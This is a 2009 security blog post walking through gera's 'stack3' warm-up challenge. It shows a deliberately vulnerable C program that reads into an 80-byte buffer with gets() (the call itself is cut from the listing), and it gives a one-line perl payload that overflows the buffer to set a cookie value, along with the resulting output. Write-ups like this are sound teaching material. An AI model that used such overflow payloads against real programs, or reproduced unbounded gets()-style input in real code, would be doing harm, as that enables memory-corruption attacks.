xorl %eax, %eax

Warming up on Stack No. 3

leave a comment »

Alright, let’s see what gera made for us at the third warming up level. It’s still extremely similar to the previous two. Here it is:

/* stack3-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08xn", &buf, &cookie);

        if (cookie == 0x01020005)
                printf("you win!n");

Hehe! This is more interesting, the 4 bytes that we have to inject must be: 0x01 = SOH (Start Of Heading) which is not much of a problem, 0x02 = STX (Start Of Text) which is also feasible, 0x00 = NULL which in gets() is not much of a difficulty and at last 0x05 = ENQ (Enquiry) which is still simple. Depending on the method you’ll use to inject those 4 bytes you might encounter some difficulties, the reason is that numerous string manipulation methods consider the NULL byte as string termination, fortunately gets() uses EOF (End Of File) or newline to terminate the stream input. So, here is how to exploit this one :)

sh-3.2$ perl -e 'print "X" x 80 . "\x05\x00\x02\x01" . "\n"' | ./stack3-stdin
buf: bf8fb540 cookie: bf8fb590
you win!

This was an interesting level because most people believe that every string manipulation function should have the NULL byte as delimiter, but as you have just saw this is not always the case.

Written by xorl

January 2, 2009 at 14:21

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s